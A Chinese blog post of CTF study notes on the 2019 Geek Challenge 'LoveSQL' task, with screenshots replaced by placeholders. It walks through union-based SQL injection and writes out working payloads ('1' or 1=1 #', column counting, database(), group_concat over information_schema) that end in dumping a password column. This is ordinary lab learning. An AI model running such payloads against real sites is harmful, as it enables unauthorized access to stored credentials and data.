CTF学习笔记——LoveSQL

一、[极客大挑战 2019]LoveSQL

1.题目

在这里插入图片描述

2.解题步骤

题目提示了sqlmap,还是老规矩试一下
在这里插入图片描述
继续使用其他sql语句尝试一下,先试试万能的1' or 1=1 #,结果成功了…爆出一段奇妙的码,试了一下不是flag。接下来尝试一下查询呢

在这里插入图片描述
试一下联合查询 1' union select 1#

在这里插入图片描述
换个姿势(这里纯粹是懵的,没想到中了)
在这里插入图片描述
在这里插入图片描述
嗯?这里的直接通过了,然后回显了2和3,应该是爆出了字段,再看看一共有多少字段呢
在这里插入图片描述
出4的时候报错,可见是一共四个字段。然后查库名1' union select 1,database(),3#
在这里插入图片描述
可见库名是geek。继续查询1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='geek',3#
(这个payload是照师傅抄的,group_concat()函数的功能是:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。 information_schema理解为是数据库的信息,而 information_schema.tables where table_schema='geek’的含义就是查询数据库中geek库的信息。)
在这里插入图片描述
这个报错看蒙了…继续看wp,这里已经提示我们要在3位置查询。1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#
在这里插入图片描述
可见有两个表,继续查询1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='geek'#
在这里插入图片描述
这里的id , username , password 应该就是字段了。
这下库,表,字段都清楚了,这里师傅直接盲猜的l0velysql表里面的password…这可能就是大佬の直觉吧。
构造1' union select 1,2,group_concat(password) from l0ve1ysq1 #
在这里插入图片描述

3.总结
  1. 第一次做联合查询的题,但基本上都是跟着师傅的wp在做,学习了联合查询的payload的构造方式
  2. sqlmap也有测试过联合查询,但是不清楚为什么没报错。
  3. sql语句实在是太多,回头要整理一个sql的漏洞集合和函数库。
  4. 联合查询的时候后面的2和3也没看懂,师傅说是注入点,开始以为是字段名,后来发现也不是。
4.参考资料

猜你喜欢

转载自blog.csdn.net/Obs_cure/article/details/108440565
今日推荐